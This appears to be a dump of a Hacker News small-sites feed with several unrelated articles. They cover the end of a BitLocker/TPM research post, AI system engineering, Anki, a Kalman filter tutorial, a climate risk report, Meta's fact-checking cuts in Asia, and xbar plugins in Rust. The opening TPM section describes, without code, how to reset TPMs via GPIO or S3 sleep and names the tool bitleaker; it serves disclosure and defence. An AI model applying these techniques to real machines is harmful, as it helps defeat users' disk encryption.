  • HackerNews Discussion on that: https://news.ycombinator.com/item?id=42552227, with the blog-author adding: “what I’m guessing is that Microsoft is not accounting for every possible place the key can end up when they’re destroying secrets.”

TPM software attacks

dTPM: PCH can be reconfigured to assign the TPM reset pin as a generic GPIO. This allows software to reset the TPM via GPIO write.

dTPM & fTPM: Put system in S3 sleep mode. That fully turns off all peripherals, including TPM! -> TPM cannot remember PCR state.

  • TPM should save state to non-volatile memory. But that is done on command of the OS, and can simply be patched out (e.g., with Linux kprobes)
  • Specs don’t say what TPM should do on resume-from-boot if there is no PCR data saved in non volatile memory! -> some devices are broken (“secure” devices don’t reset PCRs to zero on wake from S3 without saved PCR values)
  • A Bad Dream: Subverting Trusted Platform Module While You Are Sleeping
  • Ready-made tool: bitleaker

dTPM & fTPM: Hardware debugger enabled too early without measuring anything -> get tpm-code-exec on clean slate, write any PCRs you want

Conclusion

This was a fun journey! Not only did we discuss Windows Secure Boot but also Linux and TPMs. Drawing a succinct conclusion here is hard, since so much depends on your concrete threat model. Getting encryption to the masses, in a user-friendly way and with “good enough” security is a great goal. But getting actual secure encryption is another.

I feel that discrete TPMs, as they are currently implemented on most x86 platforms, aren’t great. Historically, there were more attacks against dTPMs than fTPMs, even though dTPMs are, in theory, way better certified and resistant against the “big guns” of fault injections, decapping, and the like. From my research, it seems that a lot of the attacks were much broader and attacked the integration of the TPM in the wider ecosystem rather than TPM cryptography.

However, firmware TPMs had some of the same integration issues, just fewer of them. In any case, relying just on Secure Boot, the way it is right now, with the Microsoft keys enrolled, is likely quite insecure. Adding a simple PIN or password makes any attack way harder, even when an attacker has physical access.

Revocations are impossible right now, though Linux is ahead on that front since many non-SBAT-capable shims have already been revoked due to severe unrelated security issues. There isn’t really a prevention against downgrade attacks on the BitLocker front, except for Microsoft rolling their keys, which will likely, and unfortunately, be a bit painful.

Let’s pour one out for all the affected users and sysadmins of the future. If you run BitLocker in your environment, think about your threat model, and if you would rather have more recovery screens (locking on PCR4), more user hassle (preboot authentication), or more “unknowns” (upgrading to the 2023 certificates).

I hope you enjoyed this journey and learned as much as I did! I’d love to talk to you if you have any further remarks or questions. Hit me up via thomas (at) neodyme.io.

38C3 Talk - Windows BitLocker — Screwed without a Screwdriver

I presented this research at 38C3. You can find the presentation here: https://media.ccc.de/v/38c3-windows-bitlocker-screwed-without-a-screwdriver

By revealing the content you are aware that third-parties may collect personal information

]]>
https://neodyme.io/en/blog/bitlocker_why_no_fix/ hacker-news-small-sites-42752258 Sat, 18 Jan 2025 23:25:17 GMT
<![CDATA[Engineering Complex AI Systems: Lessons from Software Engineering]]> thread link) | @sebg
January 18, 2025 | https://sebgnotes.com/blog/2025-01-18-engineering-complex-ai-systems-lessons-from-software-engineering/ | archive.org

Link:

How to write complex software

Synopsis:

Grant Slatton, former senior engineer at AWS S3 and founder of Row Zero (the world’s fastest spreadsheet), writes in this article a methodology for building complex software systems by:

  • Starting with toy programs to understand constraints
  • Beginning at the top of the stack (UI/API)
  • Implementing in layers with minimal logic per layer
  • Using stubs and mocks strategically

Context

I’m particularly interested in how teams balance software engineering rigor and AI development flexibility.

As AI systems grow in complexity, the principles for building robust software become increasingly relevant.

Traditional software engineering has developed patterns for managing complexity over decades, and AI Engineers should apply these patterns to AI system development.

Grant Slatton’s article presents an approach to building complex software that resonates particularly well with AI system development, where we often need to coordinate multiple models, handle states, and manage complex interactions.

His experience building high-performance systems at AWS S3 and Row Zero provides valuable insights for AI Engineers facing similar complexity challenges.

Let’s explore how to map software engineering principles to AI system engineering.

Key Implementation Patterns

The article outlines several approaches to complex software development that map well to AI system development:

  1. Top-Down Development
  • Start with the desired AI system interface/API
  • Define how users/other systems will interact
  • Stub out lower-level components
  • Refine implementation layer by layer
  1. Layer-Based Architecture
  • Each layer handles minimal logic
  • Clear separation of concerns
  • Well-defined interfaces between layers
  • Delegation to specialized components
  1. Strategic Use of Mocks
  • Mock only IO-dependent components
  • Use simple stubs during development
  • Implement real components iteratively
  • Focus on interface design first

These patterns from traditional software development provide a strong foundation for building complex AI systems, though their application requires careful consideration of AI-specific challenges.

Strategic Implications for AI Systems

For technical leaders building AI applications:

  1. Development Strategy
  • Begin with the user interaction/user experience (UI/UX) layer
  • Define clear model interaction patterns
  • Start simple, add complexity gradually
  • Focus on system architecture before implementation
  1. Implementation Approach
  • Build working prototypes with stub responses
  • Gradually replace stubs with real AI models
  • Test integration points early
  • Maintain flexibility for model changes
  1. Resource Management
  • Defer expensive model development
  • Test system flow with simpler models
  • Validate architectural decisions early
  • Optimize resource usage incrementally

To translate these strategic considerations into practical development practices, teams need a clear framework for implementation.

Implementation Framework

For teams building complex AI systems:

  1. Start with System Design
  • Define top-level API/interface first
  • Map out major system components
  • Identify AI model integration points
  • Plan data flow between components
  • Insert eval staging points
  • Consider when human input is needed
  1. Implement Incrementally
  • Begin with stub AI responses
  • Replace stubs with simple models
  • Add sophisticated models gradually
  • Maintain a working system throughout
  1. Focus on Interfaces
  • Design clear component boundaries
  • Define model input/output contracts
  • Plan for model versioning
  • Build robust error handling

Several key considerations emerge as teams apply this framework to real-world AI engineering systems.

Key Takeaways for AI Engineers

Important considerations when building complex AI systems:

  1. Architecture Patterns
  • Apply traditional software layering
  • Separate model logic from business logic
  • Define clear integration points
  • Build testable components
  1. Development Strategy
  • Start high-level, work downward
  • Use stubs for rapid prototyping
  • Test with simple models first
  • Validate system flow early
  1. Quality Management
  • Test at multiple levels
  • Verify component interactions
  • Monitor model performance
  • Build comprehensive test / eval suites

While these patterns are theoretically clear, their real value becomes apparent when considering practical experience.

Personal Notes

Having built both traditional software systems and AI applications, I’ve noticed that many teams try to start with the AI models / AI Agents first.

I still catch myself doing that, which is why I wanted to share this article (as a reminder to you and me).

We need to balance the excitement of AI capabilities and diving straight into development with systematic engineering practices.

This bottom-up approach often leads to the same problems the article describes: I/you end up with powerful components that don’t quite fit together properly.

Instead, treating AI models as implementation details of a well-designed system leads to more robust and maintainable applications.

Looking Forward: The Evolution of AI System Architecture

Engineering non-deterministic AI systems is more complex than engineering deterministic systems, so the principles of software engineering that were hard-won have become increasingly crucial.

The future of AI engineering will likely mirror the evolution of traditional software development, with established patterns and practices for managing complexity.

Teams that apply these software engineering principles early will build reliable, maintainable, and scalable AI systems.

These patterns will become fundamental to AI engineering, helping bridge the gap between experimental AI projects and production-ready systems.

Teams starting AI projects today would do well to embrace these proven software engineering principles from the start.

]]>
https://sebgnotes.com/blog/2025-01-18-engineering-complex-ai-systems-lessons-from-software-engineering/ hacker-news-small-sites-42752238 Sat, 18 Jan 2025 23:21:37 GMT
<![CDATA[How to never forget anything ever again with Anki]]> thread link) | @fkozlowski
January 18, 2025 | https://fredkozlowski.com/2024/12/19/how-to-never-forget-anything-ever-again-anki/ | archive.org

Getting Anki

Anki can be found at https://apps.ankiweb.net/. Website screenshot shown below.

The Android app is called AnkiDroid (free) and the iOS app is Anki (it’s $25 one time and goes to support the sole developer working on it)

You can sync between your mobile app and desktop application by using your AnkiWeb account.

The theory behind Anki: what is spaced repetition?

If you learn a fact, your memory of that fact will deteriorate rather quickly. If you review that fact a day, your memory will degrade less slowly. This means that reviewing things at specific increasing intervals will ensure that you always remember that fact. Here’s the cool part – increasing intervals! After each progressive review, your memory will degrade less slowly, which means that eventually, you’ll be reviewing your fact once per year, once per 3 years, or even less, while still retaining the information.

This is why spaced repetition and Anki are different from flashcards. You only review a fact when you’re about to forget it, which means you don’t waste time reviewing cards you already know. Let’s do some napkin math — 

Traditional flashcards vs Anki

Let me break this down, comparing traditional flashcards vs Anki’s spaced repetition system (SRS).

Assumptions:

Each card review takes ~5 seconds

Traditional flashcards: Reviewing all cards daily

Anki: Following typical SRS intervals that grow exponentially

Traditional Flashcards (100 cards):

100 cards × 5 seconds = 500 seconds (8.3 minutes) per day

180 days (6 months, an arbitrary period of time) × 8.3 minutes = 1,494 minutes (≈25 hours total)

Anki (100 cards):

Initial few days: ~100 cards/day (like traditional)

By week 2: ~40 cards/day

By month 1: ~20 cards/day

By month 3: ~10 cards/day

By month 6: ~5 cards/day

Rough Anki calculation:

Month 1: (~60 cards/day avg) × 30 days × 5 sec = 150 minutes

Month 2-3: (~15 cards/day avg) × 60 days × 5 sec = 75 minutes

Month 4-6: (~7 cards/day avg) × 90 days × 5 sec = 52.5 minutes

Total Anki time: ~277.5 minutes (≈4.6 hours total)

So Anki takes roughly 1/5 the time (4.6 vs 25 hours) while typically providing better retention due to optimal spacing of reviews. This is a simplified model – actual results vary based on card difficulty and individual memory patterns.

This means that you can have a deck of 100,000 cards and still keep up with it! You can memorize an insane amount of facts and retain them indefinitely.

How to use Anki?

Let’s look at the desktop app. Most of the apps work rather similarly.

Once you’ve downloaded the app, you can create a deck, which is a collection of cards.

Let’s add a card to this deck now.

Now we can study this card

Notice how you can select the difficulty you had in recalling the card. “Again” and “Good” should be self explanatory. My headcanon for when I select “Hard” is when I get something almost right (like one letter off) and “Easy” is for when I instantly recall the answer without even thinking about it.

The numbers above each button are how soon until you see that card again.

What can I do with Anki?

Reverse cards

The abstract form of a card in Anki is called a note. You can have a note that turns into multiple cards, for example.

One common use case for this is the “Basic (and reversed card)” — this is when you turn one note into two cards, with the fields swapped. This is useful when you decide to learn a foreign language and need to train both recognition and recall.

There’s more to this than you may think. Let’s say you speak English and are trying to learn Spanish. You’ll need to remember hello -> hola in order to speak the language. On the other hand, you’ll also need to understand the opposite direction of hola -> hello. This is so that when someone says that word, you’ll be able to comprehend them. 

With the reverse card feature, you can skip creating two cards when one will do, plus you won’t need to update the card twice when you need to change it.

Cloze deletion

Let’s say you’re trying to learn grammar in Spanish. In your textbook you’ll see this familiar table:

Yo quiero

Tú quieres

Él/Ella/Usted quiere

Nosotros queremos

Vosotros queréis

Ellos/Ellas/Ustedes quieren

You’ll be tempted to create the following card:

Front: Yo (querer)

Back: quiero

Stop! Don’t do it! There’s a better way!

The best way to learn this is by using context. We learn through pattern recognition, so it’s tough to apply facts memorized in isolation.

Create cards in this format instead:

Front: Yo ____ (querer) comer una manzana

​​Back:  Yo quiero comer una manzana

You’ll remember the conjugation in context and you’ll also get some free practice with the surrounding words. 

You can create these cards by using the Cloze card type and clicking here to delete a certain part of the word.

Image occlusion

This is basically cloze deletion but for images — you can black out certain parts of an image and then reveal it.

Audio

You can add audio cards! I’ve never done this, but it is an option, say for training listening comprehension.

Card design

The Fundamental Trade-off: there’s always a trade-off between creation time and review time. 

More effort during creation = Easier reviews later

Quick creation now = More challenging reviews

The beauty is that you get to choose where on this spectrum you want to be. If you don’t make this choice explicitly, it’ll be made for you implicitly.

Having a card in Anki is far more important than having a perfect card in Anki. Sometimes, I intentionally create “bad” cards just to get the information into the system. Later, when I have more time or when the card starts bothering me during reviews, I’ll clean it up. This approach keeps the momentum going while allowing for future improvements.

The best Anki cards share two key characteristics:

They’re extremely short (1-2 sentences)

They have minimal ambiguity

If you’re looking at paragraphs in your cards, that’s usually a red flag. While I have a few cards like that (intentionally), they’re the exception, not the rule.

Let’s look at what works and what doesn’t:

Good examples:

Vocabulary terms

Specific dates or events (like offices in the Cursus Honorum)

Clear, single-concept questions

Challenging examples:

Long, opinion-based content

Complex historical events (like the fall of the Western Roman Empire)

Detailed explanations that require multiple concepts

When dealing with complex topics (like system design), I use a different approach. Instead of trying to recall exact answers, I aim for conceptual understanding. For instance, with a question like “Why is caching useful?”, I’ll count it as correct if I can articulate the main concepts, even if I don’t recite the answer verbatim.

Don’t let perfect be the enemy of good. Start creating cards, use them, and let your review experience guide your improvements. The time you spend perfecting cards is time you could spend reviewing them – find the balance that works for you.

Sticking with it

Something that doesn’t get enough attention in the Anki community is how to stick with it long-term. After starting and stopping Anki at least 8 different times, I’ve learned some valuable lessons about maintaining a sustainable practice.

The most crucial piece of advice I can give you: don’t delete your decks. Ever. I’ve made this mistake too many times

  • Always keep backups
  • Store them even when you’re not actively reviewing
  • Think of them as a knowledge investment

Returning to Anki after a break can be intimidating. Coming back to 1,000+ reviews is enough to make anyone want to quit before starting. This is fundamentally a UI/human psychology problem. The interface isn’t well-suited to handling breaks in usage. Fortunately there’s a hack:

  • Adjust your daily review limit (in Options)
  • Start with just 10 cards per day
  • Gradually work your way back up
  • Remember: any review is better than no review

Rather than treating Anki as a formal study session, I use it as a gap filler:

  • During elevator rides
  • On the train
  • Waiting for food
  • Any spare moment where I might normally check Twitter

Even minimal use is incredibly powerful. Reviewing 5 cards is better than 0. Some days, I only do 1 card. The goal is maintaining the habit, not hitting perfect numbers.

Make your own decks

This is important enough to warrant its own section. Don’t download huge decks from the internet, make your own. I’d recommend downloading a deck only if it’s less than 50 cards (let’s say learning an alphabet, or something like that).

The problem is that Anki is not for learning, it’s for reviewing. Learning on Anki is incredibly painful since you’re learning without context. If you use someone else’s cards, you’ll hit a brick wall.

Using Anki for language

I primarily use Anki for language learning. Most of my cards are straight vocab, with a few being cloze deletions (not enough I’d say).

A few quick notes

  • Shove it into Anki (even if you don’t think you need it). I regret not having more cards. I only spent around 25 hours!!!! this year reviewing Anki.
  • If you have multiple words with the same meaning (eg wealthy, affluent), generate two different images and then put them on the front of each card. You’ll associate the word with the image so you’ll remember both individually
  • If a word isn’t sticking, create a mnemonic for it and put an image reminder of the mnemonic on the front of the card.
  • My Russian teacher gives me a long list of vocab words after a lesson. I have a virtual assistant input them into Anki — I highly recommend this if you’re falling behind on card creation! You can also input words via .csv.

Using Anki for Leetcode

I also use Anki for Leetcode practice. Instead of endless random practice, I focused on mastering a core set of problems. Traditional LeetCode practice assumes you’ll naturally absorb patterns through repetition. Since I have a poor memory, this empirically wasn’t effective — I’d do a problem, retry it a week later and have completely forgotten how I had done it. 

The process:
Selected about 30 fundamental LeetCode problems

Created simple Anki cards for each problem

Front of card: Problem name/link

Back of card: Just time/space complexity

When a card comes up, I:

Open LeetCode

Solve the complete problem

Review complexity

Mark the card as done

As you can see I’m using Anki purely as a scheduling tool. 

The goal is not to memorize solutions per se, but rather common patterns. For example: converting adjacency matrix to adjacency list is now a pattern I recognize instantly. I wanted to focus on building “muscle memory” for common coding patterns.

The most common criticism I get is about overfitting – the worry that I’ll only learn to solve these specific problems. I’m not really worried because – 

  • My memory isn’t great (ironically, this helps)
  • The goal is pattern recognition, not memorization
  • These patterns transfer well to similar problems

So far, I can say it’s been working quite well. I’m far more comfortable with Python syntax in a Leetcode context, and I can apply chunks of what I’ve memorized elsewhere in new problems.

I used to panic during coding interviews. Every interview felt like starting from zero and I had a significant fear of blanking out.

Memorization transformed my entire interview mindset:

  • Instead of “solve this impossible problem,” it became “identify the right pattern”
  • Having a solid foundation of memorized patterns gives confidence
  • The interview feels more like pattern matching than pure problem-solving
  • I became way, way calmer during interviews

What decks do I have?

Active

  • Early Christianity in the WRE
  • Leetcode V2
  • Maximum NYC
  • NATO Phonetic Alphabet
  • Northeast trees
  • NYC City Council Members
  • Robert’s Rules of Order
  • Russian
  • Russian Cursive Alphabet
  • Sys Design
  • The New Colossus Poem
  • Vim

Archived

  • Clojure
  • Graduate Intro to Operating Systems
  • Leetcode
  • Spanish

My Anki decks can be downloaded here

What should you memorize and why?

Let’s start with the obvious ones:

Academic Learning

The canonical use case for Anki is coursework, and for good reason. Beyond just acing tests, memorizing specific facts creates a mental scaffolding that helps you grasp bigger concepts. I’ve found that having these little details firmly in mind gives you something concrete to anchor those abstract theories to. If you’re interested in this check out how med students use Anki to memorize stuff for their coursework.

Language Learning

This one’s a no-brainer. Anki feels like it was purpose-built specifically for vocabulary and language learning. It’s perfect for that steady accumulation of words and phrases that language mastery requires.

I’ve also been experimenting with some less conventional uses:

Nature Knowledge

I’m currently using Anki to memorize trees in my area. It’s part of my goal to be more outdoorsy in New York, and having this knowledge makes every walk more engaging.

Literature

I’ve started creating cards for poetry & quote memorization. This is tough since I find memorizing ordered lists difficult.

Book Retention

I’m experimenting with transforming entire nonfiction books into Anki decks. For example:

  • “Through the Eye of the Needle” by Peter Brown (about early Christianity)
  • “Designing Data-Intensive Applications” (a technical book)

The time investment for experimentation is surprisingly low. I spent 25 hours total this past year on Anki, so a failed experiment might only cost me 5 hours across an entire year. That’s a pretty low-risk way to potentially discover a game-changing use case.

I don’t have definitive advice about what you should be memorizing. What I do know is that experimentation is key. The time cost is low enough that trying new approaches is almost always worth it.

]]>
https://fredkozlowski.com/2024/12/19/how-to-never-forget-anything-ever-again-anki/ hacker-news-small-sites-42752227 Sat, 18 Jan 2025 23:19:40 GMT
<![CDATA[Legacy]]> thread link) | @reactiverobot
January 18, 2025 | https://reactiverobot.com/writing/legacy.html | archive.org

We were in a medium-loud public setting at a long high-top table and I was explaining how life changed after having kids to a friend without kids. I told them I'd never cared about the idea of "legacy" but I get it now holding my children and realizing that they are the only things I've created or will ever create that will go on beyond me. I explained how I feel connected to the future of humanity in a way I'd never felt before and that helped me understand the concept of "legacy".

They decided to be a smart-ass and said something like "Oh yeah? What do you know about your great-grandparents?". I don't know much, I have a genealogy book my grandfather made. To which they said, "See? In a generation or two no one will remember you either." I could see how happy making this point made them so I let them have the moment but in my head I was like "Oh wow this person just absolutely does not get it."

That conversation came to mind recently when my wife and I were talking about the fires in LA and people scrambling to grab photo albums as they evacuated. We live in the Berkeley Hills, near a big and sometimes quite dry wildlife area, so it's easy to put ourselves in their shoes and imagine a fire coming over our hill. My wife mentioned how we have photo books that include pictures of people we don't know anything about. Someone we're related to took a photo, saved it and somehow we ended up with it and we know nothing about who they actually are. That's when the dots connected on a better way to explain my perspective to my childless friend.

Legacy is not what the world remembers about me. Legacy is what I know I gave to the world.

This gives me a lot of peace. Oddly, in particular, it gives me peace in relation to my work. I've worked at a startup for the last 7 years and seen the company grow from 30 to 1600+. During that time, every feature and framework I built has been refactored and every team I built has been reorged. My only truly lasting contribution may be a conference room named "Jorts." And even the conference room has been updated to replace the poster of my jorts with photos of other employees in their newer, snazzier jorts. However, jorts are not what give me peace.

Peace comes from knowing I helped scrabble up the down-escalator of time. The code and teams I built helped the company go from an old place to a new place. And that new place quickly became an old place again. My kids are the most tangible thing I've contributed to humanity's future simply by being people that will live in it. Even if no one knows or cares in 100 years, I helped move things forward, at least a little bit.

]]>
https://reactiverobot.com/writing/legacy.html hacker-news-small-sites-42751739 Sat, 18 Jan 2025 21:56:35 GMT
<![CDATA[Kalman Filter Tutorial]]> thread link) | @ColinWright
January 18, 2025 | https://www.kalmanfilter.net/default.aspx | archive.org

Before delving into the Kalman Filter explanation, let us first understand the necessity of a tracking and prediction algorithm.

To illustrate this point, let's take the example of a tracking radar.

Tracking Radar

Suppose we have a track cycle of 5 seconds. At intervals of 5 seconds, the radar samples the target by directing a dedicated pencil beam.

Once the radar "visits" the target, it proceeds to estimate the current position and velocity of the target. The radar also estimates (or predicts) the target's position at the time of the next track beam.

The future target position can be easily calculated using Newton's motion equations:

\[ x= x_{0} + v_{0} \Delta t+ \frac{1}{2}a \Delta t^{2} \]

Where:

\( x \) is the target position
\( x_{0} \) is the initial target position
\( v_{0} \) is the initial target velocity
\( a \) is the target acceleration
\( \Delta t \) is the time interval (5 seconds in our example)

If you need a refresh on the motion equations, refer to Appendix I in the book.

When dealing with three dimensions, Newton's motion equations can be expressed as a system of equations:

\[ \left\{\begin{matrix} x= x_{0} + v_{x0} \Delta t+ \frac{1}{2}a_{x} \Delta t^{2}\\ y= y_{0} + v_{y0} \Delta t+ \frac{1}{2}a_{y} \Delta t^{2}\\ z= z_{0} + v_{z0} \Delta t+ \frac{1}{2}a_{z} \Delta t^{2} \end{matrix}\right. \]

The set of target parameters \( \left[ x, y, z, v_{x},v_{y},v_{z},a_{x},a_{y},a_{z} \right] \) is known as the System State. The current state serves as the input for the prediction algorithm, while the algorithm's output is the future state, which includes the target parameters for the subsequent time interval.

The system of equations mentioned above is known as a Dynamic Model or State Space Model. The dynamic model describes the relationship between the input and output of the system.

Apparently, if the target's current state and dynamic model are known, predicting the target's subsequent state can be easily accomplished.

In reality, the radar measurement is not entirely accurate. It contains random errors or uncertainties that can affect the accuracy of the predicted target state. The magnitude of the errors depends on various factors, such as radar calibration, beam width, and signal-to-noise ratio of the returned echo. The random errors or uncertainties in the radar measurement are known as Measurement Noise.

In addition, the target motion is not always aligned with the motion equations due to external factors like wind, air turbulence, and pilot maneuvers. This misalignment between the motion equations and the actual target motion results in an error or uncertainty in the dynamic model, which is called Process Noise.

Due to the Measurement Noise and the Process Noise, the estimated target position can be far away from the actual target position. In this case, the radar might send the track beam in the wrong direction and miss the target.

In order to improve the radar's tracking accuracy, it is essential to employ a prediction algorithm that accounts for both process and measurement uncertainty.

The most common tracking and prediction algorithm is the Kalman Filter.

Kalman Filter Book

Don't miss out on the Black Friday special!

]]>
https://www.kalmanfilter.net/default.aspx hacker-news-small-sites-42751690 Sat, 18 Jan 2025 21:50:15 GMT
<![CDATA[Planetary Solvency – Current climate policies risk catastrophic economic impacts]]> thread link) | @rntn
January 18, 2025 | https://actuaries.org.uk/planetary-solvency | archive.org

16 January 2025

Current climate policies risk catastrophic societal and economic impacts

The global economy could face a 50% loss in GDP between 2070 and 2090, unless immediate policy action on risks posed by the climate crisis is taken. Populations are already impacted by food system shocks, water insecurity, heat stress and infectious diseases. If unchecked, mass mortality, mass displacement, severe economic contraction and conflict become more likely.

‘Planetary Solvency – finding our balance with nature’ is the IFoA’s fourth report in collaboration with climate scientists. The report develops a framework for global risk management to address these risks and show how this approach can support future prosperity. It also shows how a lack of realistic risk messaging to guide policy decisions has led to slower action than is needed.

The report proposes a novel Planetary Solvency risk dashboard, to provide decision-useful risk information to support policymakers to drive human activity within the finite bounds of the planet that we live on.

Sandy Trust, Lead author and IFoA Council Member, said:

“You can’t have an economy without a society, and a society needs somewhere to live. Nature is our foundation, providing food, water and air, as well as the raw materials and energy that power our economy. Threats to the stability of this foundation are risks to future human prosperity which we must take action to avoid.

“Widely used but deeply flawed assessments of the economic impact of climate change show a negligible impact on GDP, rendering policymakers blind to the immense risk current policy trajectories place us in. The risk led methodology, set out in the report, shows a 50% GDP contraction between 2070 and 2090 unless an alternative course is chartered.”

If you wish to learn more about climate risk concepts relevant to actuarial work, the IFoA offers an 8-week online Climate Risk and Sustainability Course.

]]>
https://actuaries.org.uk/planetary-solvency hacker-news-small-sites-42751328 Sat, 18 Jan 2025 20:51:35 GMT
<![CDATA[From cow vigilantes to military propaganda: Facebook cuts risk violence in Asia]]> thread link) | @adrian_mrd
January 18, 2025 | https://www.abc.net.au/news/2025-01-19/meta-fact-checking-cut-raises-alarm-across-asia/104811772 | archive.org

In northern India, a 20-year-old Muslim man was beaten to death by a mob after being accused of transporting cows, which are sacred to Hindus, for slaughter.

He was a victim of cow vigilantes who have documented their attacks in the name of "cow protection" in at least another 166 videos on Instagram.

It's this type of case experts point to as fears rise about the scaling back of fact-checking of social media content.

"Unchecked hate speech doesn't just stay online — it spills into the real world with deadly consequences," said Raqib Hameed Naik, head of the Centre for the Study of Organized Hate (CSOH).

A collage of Instagram posts and cows.

In India, there's been a rise in violent cow vigilante content posted on Instagram. (Supplied: The Center for the Study of Organized Hate)

Meta announced earlier this month that it would stop using independent fact-checking organisations to moderate content on the company's platforms Facebook, Instagram and Threads.

CEO Mark Zuckerberg said the fact-checkers had become "too politically biased" and his new plans would help ensure free speech.

But in places like India, Meta's largest market with more than 500 million users, Mr Naik warned that unchecked narratives posed a grave threat not only to online discourse but also to public safety.

Facebook CEO Mark Zuckerberg gestures with his arms and smiles as he speaks.

Media experts say third-party fact-checking has helped reduce the spread of false and misleading information in their feeds. (AP: Trent Nelson)

What are Meta's plans?

Meta has relied on subcontractors to flag and debunk posts.

But the third-party fact-checking program that began in 2016 is being terminated in the United States and experts expect that it will be extended to other parts of the world in the coming months.

The ABC asked Meta about future plans but it wouldn't respond on the record.

For now, in the US, Meta is turning to a feature called Community Notes that relies on platform users flagging potentially misleading content.

Notes are displayed once users reach a majority consensus on its accuracy.

Indian PM Modi embraces Facebook CEO Mark Zuckerberg on stage at a talk, September 27, 2015.

Indian Prime Minister Narendra Modi and Meta boss Mark Zuckerberg embrace. (Reuters: Jeff Chiu)

Critics warn that if Meta's changes extend to fragile democracies like India, Myanmar and the Philippines, the consequences will include more polarisation, violence and social disorder.

"Some of these countries are highly vulnerable to misinformation that spurs political instability, election interference, mob violence and even genocide," the International Fact-checking Network (IFCN) said.

The Philippines: Dangerous labels with deadly implications

Across the region, social media platforms such as Facebook, Instagram, and WhatsApp dominate as news sources for billions, leaving them particularly vulnerable to disinformation, hate speech, and political propaganda.

In the Philippines, Meta's fact-checking partners, including AFP and Vera Files, have played a crucial part in countering election-related disinformation.

 Maria Ressa gestures after she was acquitted of the tax evasion cases against her

Nobel Prize-winning journalist Maria Ressa believes "dangerous times" are ahead. (AFP: Jam Sta Rosa)

Nobel laureate and Filipino journalist Maria Ressa warned of "extremely dangerous times ahead" for journalism and democracy.

Celine Samson, a fact-checker with Vera Files, said roles like hers were especially important during the last election.

Vera Files recorded a rise in misinformation posts that used a particularly dangerous tactic in the Philippines — portraying opposition leaders as communists.

While the term "communist" may seem relatively harmless elsewhere, in the Philippines, it can be life-threatening.

When fact-checkers flag false content, Meta can limit its reach or remove it if it violates standards.

"If there is a repeat offender of misinformation, it gets a label and lowered visibility and they lose their ability to monetise on the platform which I think is where it hits the most," Ms Samson said.

"Removing this program means one less layer of protection against misinformation."

A woman in black shirt and pants holding a microphone

Celine Samson fact-checks viral articles and monitors disinformation in the Philippines. (Supplied: Celine Samson)

Myanmar: A warning from the past

In Myanmar, Facebook is widely seen as "the internet".

During the 2017 Rohingya crisis, Facebook was found to have played a key role in the spread of hate speech, contributing to violence against the Muslim minority.

Despite pledges to address failures, Facebook remains a hotbed for disinformation there.

A group of five people silhouetted in front of a blue background with the Facebook logo projected on it.

Fact-checkers who work with Meta are certified by the International Fact-Checking Network. (Reuters: Dado Ruvic)

Naw Wah Paw, director of The Red Flag which focuses on research and social media monitoring, said the military and other actors were already well-versed in evading detection and inciting violence.

"We are facing a rise in military misinformation, propaganda, and disinformation campaigns," said Naw Wah Paw.

"We've tracked posts that use terms like 'lay the eggs' to mean bombing or 'doing make-up' to mean hitting someone.

"Without fact-checkers, platforms like Facebook risk becoming even more chaotic."

She said Meta's fact-checking partners, which are required to meet strict non-partisanship standards, were vital when it came to understanding the local language and contexts.

Women wear red traditional beaded ethnic dress and take selfie with phone.

Myanmar experts have called for improvements on Facebook, including more proactive verification as the junta weaponises it. (Reuters: Soe Zeya Tun)

Fears for the vulnerable

Meta has framed its decision to reduce fact-checking as a commitment to "free expression", but critics say this hands-off approach is risky.

"Mark Zuckerberg's claim that fact-checkers are 'biased' completely ignores how essential they are in regions where disinformation is a tool of oppression," said Jonathan Ong, a professor of global digital media at the University of Massachusetts.

"Zuckerberg's announcement signals to the world they're done apologising for social media harms and appeasing legacy media."

Professor Ong said he feared for regions that were already vulnerable.

"[He] positions Meta as a defender of free speech — at the expense of marginalised communities worldwide.

"The countries most harmed by unchecked social media … will now bear the heaviest burden of Meta's retreat from accountability."

[

A man points to the screen and holds a mic.

Jonathan Ong says third-party fact-checking organisations act as a frontline defence against falsehoods. (Supplied: Jonathan Ong)

Adi Marsiela, from Indonesia's largest fact-checking group Cek Fakta, said the changes were concerning for countries with low digital literacy rates like his.

Indonesia had more than 119 million active Facebook users and at least 100 million Instagram users last year.

Mr Marsiela said the COVID pandemic demonstrated the importance of checking social content.

"Hoaxes developed rapidly during the pandemic and fact-checkers were essential in combating misconceptions," he said.

Mr Marsiela highlighted the proliferation of fake job scams, and sensationalised environmental disaster content designed to boost engagement and monetisation.

"The algorithm promotes stories that are more interesting than relevant, which is why independent fact-checkers remain essential," he said.

Screenshot of a hoax with the word 'false and misleading' next to it.

An example of a hoax that says mpox was a side effect caused by the COVID-19 vaccine, which circulated in Indonesia. (Supplied: Cek Fakta)

]]>
https://www.abc.net.au/news/2025-01-19/meta-fact-checking-cut-raises-alarm-across-asia/104811772 hacker-news-small-sites-42751204 Sat, 18 Jan 2025 20:33:55 GMT
<![CDATA[Mac toolbar widgets with xbar and Rust]]> thread link) | @pavel_lishin
January 18, 2025 | https://blog.korny.info/2025/01/18/toolbar-widgets-with-xbar-and-rust | archive.org

(aside - I have some much bigger blog ideas but haven’t had the time to write them properly - so here’s just a small thing I find handy)

Lately I wanted some toolbar widgets - mostly for looking at CI/CD build statuses - and I stumbled across XBar.

What is XBar?

XBar is a nifty tool for Mac OSX machines which puts little UI widgets on your toolbar. (It started as an older project called Bitbar, which was abandoned for a while - there is a similar alternative called SwiftBar for those who want options)

One of the marvellous things about XBar is how very simple it is. It very much follows the “Unix philosophy” - every plugin is a very simple executable script - if it succeeds (e.g. exit status 0) then the STDOUT is parsed and used to display a toolbar widget. If it fails, then STDOUT is parsed and displayed on an error widget.

So for example a very simple plugin might just be a bash script:

#!/usr/bin/env bash
echo "Ow!"
echo "---"
echo "this shows up in a dropdown"
echo "Don't click me | shell=\"/usr/bin/say\" param1=\"ow\""

If you copy the above to an executable file in ~/Library/Application\ Support/xbar/plugins/ow.1m.sh and refresh XBar, it will show up as a little drop-down menu:

screenshot of xbar

Click the “Don’t click me” button and the command /usr/bin/say ow is run.

The script even refreshes itself - based on the file name. In ow.1m.sh the 1m means “re-run this every 1 minute” - so every minute the script is run and the UI is refreshed.

The UI is all based on text - but unicode is supported, so you can do fairly creative things to make it prettier.

Hang on, you mentioned rust…

Naturally I wanted to do more than can just be done in bash. I really wanted to write plugins in rust - but rust is a compiled language, so it can’t really be run as a script, out of the box.

There are some ways around this though.

You can just copy a binary executable into the Plugins folder. If I compile a rust binary, then copy it to ~/Library/Application\ Support/xbar/plugins/my-thing.1m.o it will work! However - XBar does more than just execute the file - it also looks for special comments in the file to add metadata - things like the author name, or configuration information. And you can’t put comments inside a binary file.

